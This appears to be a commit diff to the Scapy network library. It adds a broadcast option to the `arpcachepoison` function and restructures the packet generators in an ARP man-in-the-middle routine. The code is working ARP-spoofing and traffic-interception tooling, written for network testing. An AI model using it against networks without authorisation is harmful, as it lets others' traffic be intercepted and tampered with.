@@ -733,6 +733,7 @@ class Dot1AD(Dot1Q):
733
733
def arpcachepoison (
734
734
target , # type: Union[str, List[str]]
735
735
addresses , # type: Union[str, Tuple[str, str], List[Tuple[str, str]]]
736
+ broadcast = False , # type: bool
736
737
interval = 15 , # type: int
737
738
):
738
739
# type: (...) -> None
@@ -745,6 +746,7 @@ def arpcachepoison(
745
746
with the local interface's MAC. If it's a tuple,
746
747
it's ("IP", "MAC"). It it's a list, it's [("IP", "MAC")].
747
748
"IP" can be a subnet of course.
749
+ :param broadcast: Use broadcast ethernet
748
750
749
751
Examples for target "192.168.0.2"::
750
752
@@ -769,8 +771,9 @@ def arpcachepoison(
769
771
else :
770
772
couple_list = addresses
771
773
p = [
772
- Ether (src = y ) / ARP (op = "who-has" , psrc = x , pdst = targets ,
773
- hwsrc = y , hwdst = "00:00:00:00:00:00" )
774
+ Ether (src = y , dst = "ff:ff:ff:ff:ff:ff" if broadcast else None ) /
775
+ ARP (op = "who-has" , psrc = x , pdst = targets ,
776
+ hwsrc = y , hwdst = "00:00:00:00:00:00" )
774
777
for x , y in couple_list
775
778
]
776
779
try :
@@ -852,16 +855,22 @@ def _tups(ip, mac):
852
855
# We loop who-has requests
853
856
srploop (
854
857
list (itertools .chain (
855
- (Ether (dst = maca , src = target_mac ) /
858
+ (x
859
+ for ipa , maca in tup1
860
+ for ipb , _ in tup2
861
+ for x in
862
+ Ether (dst = maca , src = target_mac ) /
856
863
ARP (op = "who-has" , psrc = ipb , pdst = ipa ,
857
864
hwsrc = target_mac , hwdst = "00:00:00:00:00:00" )
858
- for ipa , maca in tup1
859
- for ipb , _ in tup2 ),
860
- (Ether (dst = macb , src = target_mac ) /
865
+ ),
866
+ (x
867
+ for ipb , macb in tup2
868
+ for ipa , _ in tup1
869
+ for x in
870
+ Ether (dst = macb , src = target_mac ) /
861
871
ARP (op = "who-has" , psrc = ipa , pdst = ipb ,
862
872
hwsrc = target_mac , hwdst = "00:00:00:00:00:00" )
863
- for ipb , macb in tup2
864
- for ipa , _ in tup1 ),
873
+ ),
865
874
)),
866
875
filter = "arp and arp[7] = 2" ,
867
876
inter = inter ,
@@ -873,16 +882,22 @@ def _tups(ip, mac):
873
882
print ("Restoring..." )
874
883
sendp (
875
884
list (itertools .chain (
876
- (Ether (dst = maca , src = macb ) /
885
+ (x
886
+ for ipa , maca in tup1
887
+ for ipb , macb in tup2
888
+ for x in
889
+ Ether (dst = maca , src = macb ) /
877
890
ARP (op = "who-has" , psrc = ipb , pdst = ipa ,
878
891
hwsrc = macb , hwdst = "00:00:00:00:00:00" )
892
+ ),
893
+ (x
894
+ for ipb , macb in tup2
879
895
for ipa , maca in tup1
880
- for ipb , macb in tup2 ),
881
- ( Ether (dst = macb , src = maca ) /
896
+ for x in
897
+ Ether (dst = macb , src = maca ) /
882
898
ARP (op = "who-has" , psrc = ipa , pdst = ipb ,
883
899
hwsrc = maca , hwdst = "00:00:00:00:00:00" )
884
- for ipb , macb in tup2
885
- for ipa , maca in tup1 ),
900
+ ),
886
901
)),
887
902
iface = iface
888
903
)
0 commit comments